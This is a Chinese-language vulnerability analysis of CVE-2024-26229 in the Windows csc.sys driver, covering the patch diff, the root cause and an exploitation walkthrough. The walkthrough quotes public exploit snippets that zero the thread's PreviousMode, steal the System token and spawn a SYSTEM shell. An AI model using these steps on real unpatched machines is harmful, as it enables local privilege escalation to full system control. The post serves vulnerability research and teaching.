cve-2024-26229 漏洞分析

cve-2024-26229 漏洞分析

l1nk TtTeam 2024-12-14 16:00

原文首发在:奇安信攻防社区

https://forum.butian.net/share/3101

CSC 漏洞分析

前几日,有人在github中放出了CVE-2024-26229的利用脚本,这里我们就借此机会,分析一下这个漏洞的成因,以及一些利用技巧

背景介绍

Windows 支持很多基于网络的文件服务系统,例如SMB或者Webdav,这类服务允许程序能够在联网状态下对不同设备上的文件进行访问。然而有些场合,我们会希望在断网的情况下也能保留对这些远程文件的修改,并且在网络恢复后同步数据。此时 Windows会提供一种叫做Client Side Caching”的服务。这个服务能够保证在离线状态下,依然能够访问这些基于联网的文件,并且在网络恢复后能够将对应的修改更新到对应文件中。


这里的csc.sys即为对应服务的模块。这个模块是一种叫做
内核网络迷你重定向(Mini-Redirector)模块,简单来说就是一种能够处理
网络文件系统操作的驱动。例如去重定义对网络文件的读写,维护认证等功能,详细解释可以看这里。

基础知识介绍

为了方便对漏洞成因的介绍,这边会介绍一些基础知识,直接看漏洞成因的可跳转到
漏洞成因部分

NtFsControlFile 与 IRP

Windows在涉及与内核通信的时候,会使用一种叫做IRP(I/O Request Package)的IO数据包,将用户态的必要数据带入到内核态,再有内核态进行处理后返回。这个IRP可以注册多种处理,包括常见的文件读写,创建等等。其中当为了能够直接与特定类型设备通信的时候,会在内核态注册一种叫做IRP_MJ_DEVICE_CONTROL的调用函数,此时用户态可通过DeviceIOCoontrol与其通信。类似的,当操作涉及文件系统的时候,通常会注册针对文件系统的IRP_MJ_FILE_SYSTEM_CONTROL,此时与设备通信的时候就会用到NtFsControlFile。此函数的描述如下:

NtFsControlFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  IN ULONG                FsControlCode,
  IN PVOID                InputBuffer OPTIONAL,
  IN ULONG                InputBufferLength,
  OUT PVOID               OutputBuffer OPTIONAL,
  IN ULONG                OutputBufferLength );

其中介绍几个比较重要的参数:
– FileHandle:指向打开的设备句柄

  • IoStatusBlock:指向IO操作结果的指针

  • FSControlCode:用于描述访问结构的ControlCode,类似于IOCTL

  • InputBuffer:用户输入数据的指针地址

  • InputBufferLength:用户输入数据的长度

  • OutputBuffer:用户输出数据的指针地址

  • OutputBufferLength:用户输出数据的长度

实际上严格来说FSCTL与IOCTL非常相似,尤其是从数据传输角度来说,从官方文档来看,用户态对这两种过程使用过程应当是大差不差的

当进行这几种直接通信的过程时候,用户通常可以直接从用户态传入两段内存地址,用于存储输入和输出。以类似的DeviceIOControl为例:

if (!DeviceIoControl(hDrv, IOCTL, input, dwInputSize, output, dwOutputSize, &dwRetSize, NULL)) {
    UsrDbgPrint("[*] Send IOCTL error with %x\n", GetLastError());
    return false;
}

函数需要传入以下参数
– 设备句柄,使用CreateFile创建

  • IOCTL

  • 用户输入的缓存区地址和大小

  • 用户输出的缓存区地址和大小

  • 实际返回的大小指针

那这里会产生一个疑问:这里的输入缓存区和输出缓存区究竟是如何传递给内核的呢?此时有三种可能
– Windows使用了它自己申请的一段内存,维护了我们的输入输出缓存区,在内核处理的时候使用了它自己维护的内存数据

  • Windows会针对用户的输入输出内存,映射一段内核空间,利用自己维护的内存描述符来访问这段物理内存

  • Windows直接使用来自用户态的输入输出内存地址,直接操作

这三种不同的内存处理方式在Windows驱动中都是被允许的,它们分别被叫做
– METHOD_BUFFERED

  • METHOD_IN_DIRECT | METHOD_OUT_DIRECT

  • METHOD_NEITHER

具体区别可以参考这位师傅写的文章 这里大致描述一下区别就是:
– 使用BUFFERED模式的时候,Windows会主动申请内存来维护我们的输入和输出,此时最安全

  • 使用DIRECT模式的时候,效率相对较高,但是需要对DIRECT侧的数据进行保护,否则可能会导致蓝屏

  • 使用NEITHER模式的时候,由于直接使用了用户态地址,此时Windows不做任何防护机制

如何决定使用哪种方式呢?其中一个设置来自于IOCTL

IOCTL的最低两个bit会决定当前的内存传输类型,定义如下

#define METHOD_BUFFERED                 0
#define METHOD_IN_DIRECT                1
#define METHOD_OUT_DIRECT               2
#define METHOD_NEITHER                  3

当使用不同的传输类型的时候,Windows的检查等级也会有所不同
– 使用BUFFERED模式时,会由Windows内核解析函数保证输入输出缓存(Type3InputBuffer,OutputBuffer) 大小必须与用户传入的数据大小匹配,并且均为可读可写状态

  • 使用DIRECT模式时,会由Windows内核解析函数保证部分缓存是合理的,剩下的需交给内核中
    使用内存的函数进行判断

  • 使用NEITHER模式时,Windows内核解析函数不做任何检查,
    需要完全交予内核处理函数进行见检查

漏洞分析

在分析过程中发现,微软提供的驱动的符号已经过时,导致部分结构体对不上,这里记录一些分析过程。不感兴趣可以直接跳转到
漏洞成因部分

逆向分析

分发表还原

首先在csc.sys这类Mini-Redirector模块的初始化过程中,会使用函数RxRegisterMinirdr进行注册。这个函数会将当前的驱动模块注册到 RDBSS Redirected Drive Buffering Subsystem(重定向驱动缓存子系统)中。此时其可以通过提供分发表(第三个参数MrdrDispatch)来更加松散的注册对应的分发表:

 CscInitializeDispatchTable();
  Value = RxRegisterMinirdr(
            &CscDeviceObject,
            DriverObject,
            &MrdrDispatch,
            0x1F2u,
            &CscMiniRedirectorName,
            0xAA0u,
            0x14u,
            0x10u);

不过正如前面所说,官方提供的符号似乎有问题,导致MrdrDispatch对应的调用关系错乱,于是只能自己逆向部分逻辑。

通过网上公开的exp,调试后可以找到关键的调用栈如下

00 ffff9787`16ec3128 fffff801`5cac0594     csc!CscDevFcbXXXControlFile
01 ffff9787`16ec3130 fffff801`5ca529dc     rdbss!RxCommonDevFCBFsCtl+0x284
02 ffff9787`16ec3190 fffff801`5cabc594     rdbss!RxFsdCommonDispatch+0x6ac
03 ffff9787`16ec3360 fffff801`5cb72a0a     rdbss!RxFsdDispatch+0x84
04 ffff9787`16ec33b0 fffff801`c752bf1d     csc!CscFsdDispatch+0x8a
05 ffff9787`16ec3430 fffff801`5bc79ba3     nt!IofCallDriver+0x4d
06 ffff9787`16ec3470 fffff801`5bc78d21     mup!MupStateMachine+0x1b3
07 ffff9787`16ec34f0 fffff801`c752bf1d     mup!MupFsControl+0xc1

在这里的rdbss!RxCommonDevFCBFsCtl+0x284会涉及函数调用,检查汇编可知其调用逻辑如下:

mov     rax, qword ptr [rdi+160h]
mov     rax, qword ptr [rax+230h]
call    cs:__guard_dispatch_icall_fptr

可知0x230偏移为对应函数CscDevFcbXXXControlFile,于是根据原先的符号,可以在csc!CscInitializeDispatchTable中可以还原部分函数表初始化过程:

  memset(&MrdrDispatch, 0, sizeof(MrdrDispatch));
  MrdrDispatch.t05 = 0i64;
  MrdrDispatch.MRxStart = (__int64)CscStart;
  MrdrDispatch.MRxDevFcbXXXControlFile = (__int64)CscDevFcbXXXControlFile;
  MrdrDispatch.MRxCreateSrvCall = (__int64)CscCreateSrvCall;
  MrdrDispatch.MRxSrvCallCompletion = (__int64)CscSrvCallCompletion;

参数还原

函数CscDevFcbXXXControlFile会传入一个来自于分发过程中的上下文参数,叫做_RX_CONTEXT,然而这个参数也是过时的,我们需要重构参数结构体。从csc!CscFsdDispatch开始会涉及RXContext内容,通过调用可以得知,这个结构体实际上是由rdbss这个模块构建。于是我们可以通过分析这个模块得到需要的结构体信息。首先再这里找到一个叫做RxCreateRxContextEx的函数,可以根据其还原RxContext的大小。

同时根据分发函数RxFsdCommonDispatch,我们能够发现当进入分发状态后,程序会尝试在函数RxLowIoPopulateFsctlInfo调用过程中会将IO请求中的IRP中的内容进行浅拷贝。

NTSTATUS __stdcall RxLowIoPopulateFsctlInfo(New_RT_CONTEXT *RxContext, PIRP Irp){
  CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;
  v4 = 0;
  FsControlCode = CurrentStackLocation->Parameters.FileSystemControl.FsControlCode;
  RxContext->FsControlCode = FsControlCode;
  RxContext->InputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.InputBufferLength;
  RxContext->OutputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.OutputBufferLength;
  RxContext->MinorFunction_ = CurrentStackLocation->MinorFunction;
  v6 = FsControlCode & 3;
  if ( v6 )
  {
    v8 = v6 - 1;
    if ( v8 && (v9 = v8 - 1) != 0 )
    {
      if ( v9 == 1 )
      {
        RxContext->Type3InputBuffer = (__int64)CurrentStackLocation->Parameters.FileSystemControl.Type3InputBuffer;
        RxContext->irp_UserBuffer = (__int64)Irp->UserBuffer;
      }
    }
    else
    {
      RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
      MdlAddress = Irp->MdlAddress;
      if ( MdlAddress )
      {
        if ( (MdlAddress->MdlFlags & 5) != 0 )
          MappedSystemVa = MdlAddress->MappedSystemVa;
        else
          MappedSystemVa = MmMapLockedPagesSpecifyCache(MdlAddress, 0, MmCached, 0i64, 0, 0x40000010u);
        v4 = MappedSystemVa == 0i64 ? 0xC000009A : 0;
      }
      else
      {
        MappedSystemVa = 0i64;
      }
      RxContext->irp_UserBuffer = (__int64)MappedSystemVa;
    }
  }
  else
  {
    RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
    RxContext->irp_UserBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
  }
  return v4;
}

至此,即可还原分析过程中所需的必要结构体。

漏洞成因

对比patch前后的驱动,能够发现漏洞修复发生在CscDevFcbXXXControlFile函数中。在未修复前,逻辑如下:

 if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ )
{
    if ( a1->FsControlCode == 0x1401A3 )
    {
        Type3InputBuffer = a1->Type3InputBuffer;
        v4 = 0;
        a1->t23 = 0i64;
        *(_QWORD *)(Type3InputBuffer + 24) = 0i64;
    }
}

进行修复之后,逻辑变成了

if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ )
{
    v10 = *(_QWORD *)(FSCtx + 40);
    if ( a1->FsControlCode == 0x1401A3 )
    {
        if ( (unsigned int)Feature_1275465022__private_IsEnabledDeviceUsage() )
        {
            InputBufferLength = a1->InputBufferLength;
            a1->t23 = 0i64;
            if ( InputBufferLength < 0x24 )
            {
                v2 = -1073741789;
            }
            else
            {
                Type3InputBuffer = a1->Type3InputBuffer;
                if ( a1->irp->RequestorMode )
                ProbeForWrite((volatile void *)a1->Type3InputBuffer, InputBufferLength, 4u);
                if ( *(_DWORD *)(Type3InputBuffer + 4) == 6 )
                {
                *(_QWORD *)(Type3InputBuffer + 24) = 0i64;
                v2 = 0;
                }
                else
                {
                v2 = -1073741811;
            }
            //。。。
            }
        }
    }
}

可以看到,程序增加了多个验证逻辑
– 要求InputBufferLength必须大于0x24

  • 当请求来自于用户态的时候,必须对Type3InputBuffer进行检查,保证Type3InputBuffer必须为用户态的内存空间,且至少有4字节的空间

根据FsControlCode可知,当前使用的FSCTL最后两bit为3,表明当前传输类型为NEITHER模式。此时Type3InputBuffer指向由用户态传入NtFsControlFile的指针InputBuffer,并且该指针
完全不被内核解析处理。这样一来,指针指向的地址是否合法,以及指针内容的大小均不被检查,所以此处的指针
可以写入任意地址中。总结一下,漏洞即为由于对指针使用检查不严谨,导致了一个
可以往用户可控内存地址写入0的漏洞出现。

漏洞利用

任意地址写0,乍一听其实还蛮难利用的,不过在Windows 23 年之前的部分版本(新版Windows已经将Handle泄露的技巧堵上了),可以使用一种修改 PeviouseMode 的简单办法进行漏洞利用。这里介绍一下这种利用技巧:

KernelMode和UserMode

在Windows调用过程中,每一个线程都是独立的执行单位,意味着无论是用户态还是内核态需要执行程序的时候,都要创建一条线程来进行工作。然而对于类似DeviceIOContrl这样的回调例程,它很多功能可能是仅对内核开放,抑或是用户态的请求需要更加严格的检查,此时Windows就需要提供一种办法,让这些例程能够判断当前线程是否来自于用户态。这个字段就源自于ETHREAD中的PreviousMode。

在Windows调用过程中,会发现存在Zw和Nt两种开头的函数。这两个函数从用户态视角看是一致的,因为用户态提供的Zw函数和Nt函数本质上都是Nt函数。但是如果从内核态看,Zw函数不会对传入的参数进行判断,而Nt则会根据PreviousMode考虑是否对当前传入的参数进行检查,这就需要内核开发者正确的使用对应例程来解决。

PreviousMode非常直观的分为两种:UserMode和KernelMode,前者表示线程由用户态进程创建,后者表示由内核态进程创建。

typedef enum _MODE {
    KernelMode,
    UserMode,
    MaximumMode
} MODE;

FSCTL或者IOCTL调用例程过程中,假设我们实际是由用户态进程发起的请求,那么尽管我们的执行流来到了内核态,但是由于当前线程是由用户态创建,所以其实此时的PreviousMode也为UserMode,因此大部分的对应例程都会对这类请求进行防护。

从任意地址写0到LPE

在2018年的Bluehat上,Kaspersky研究员提出了一种很有趣的利用技巧,对于NtReadVirtualMemory和NtWriteVirtualMemory这类函数,在PreviouseMode为UserMode的时候,它会检查当前访问的地址空间是否为用户态可访问的空间,但当PreviouseMode为KernelMode的时候,并不会进行这类检查

__int64 __fastcall MiReadWriteVirtualMemory(        ULONG_PTR BugCheckParameter1,        unsigned __int64 baseAddr,        unsigned __int64 Buffer,        __int64 NumberOfBytesToOp,        unsigned __int64 a5,        unsigned int a6){
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v7 = baseAddr;
  CurrentThread = KeGetCurrentThread();
  PreviousMode = CurrentThread->PreviousMode;
  v23 = PreviousMode;
  if ( PreviousMode )
  {
    if ( baseAddr + NumberOfBytesToOp < baseAddr
      || baseAddr + NumberOfBytesToOp > 0x7FFFFFFF0000i64
      || NumberOfBytesToOp + Buffer < Buffer
      || NumberOfBytesToOp + Buffer > 0x7FFFFFFF0000i64 )
    {
      return 0xC0000005i64;
    }
    // skip other code
  }
}

也就是说,当我们能够想办法将当前线程的PreviouseMode值为0的时候,我们即可绕过内存地址检查,直接调用NtReadVirtualMemory或者NtWriteVirtualMemory实现真正意义的任意地址写

EXP最终利用(旧版本)

当我们能够实现任意地址写,即可配合这个github中提到的Windows常见泄露技巧,尝试泄露敏感进程(System进程)的Token,并且将该Token写入我们当前进程,即可实现提权。

这边结合公开的脚本分析一下利用流程
1. 首先利用由NtQuerySystemInformation封装的函数GetObjPtr泄露System进程的EPROCESS以及当前线程的ETHREAD:

GetObjPtr(&Sysproc, 4, 4); // 泄露System EPROCESS,准备从这边获取token
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); // 获取当前线程ETHREAD,进行PreviousMode替换
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); // 泄露当前进程的EPROCESS,准备替换token

  1. 触发漏洞,将当前线程PreviousMode改写成0
status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
    printf("[-] NtFsControlFile failed with status = %x\n", status);
    return status;
}

  1. 此时,可以实现往内核地址的读写,将System进程Token地址拷贝到当前进程
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

  1. 恢复PreviousMode,此时该进程完成提权
//
// Restoring KTHREAD->PreviousMode
//
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

//
// spawn the shell with "nt authority\system"
//

system("cmd.exe");

总结

漏洞本身比较简单,不过攻击面本身基于网络文件系统,分析过程略有难度;利用在稍老的Windows版本上属于比较经典的用法,不过在新版本上由于已经无法利用NtQuerySystemInformation泄露Handle,可能需要使用其他的攻击原语完成攻击,感兴趣的同学可以尝试使用其他的常见原语进行漏洞利用,这里不展开介绍。

参考文章

https://www.cnblogs.com/iBinary/p/15838812.htmlhttps://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE375Xkhttps://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmodehttps://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c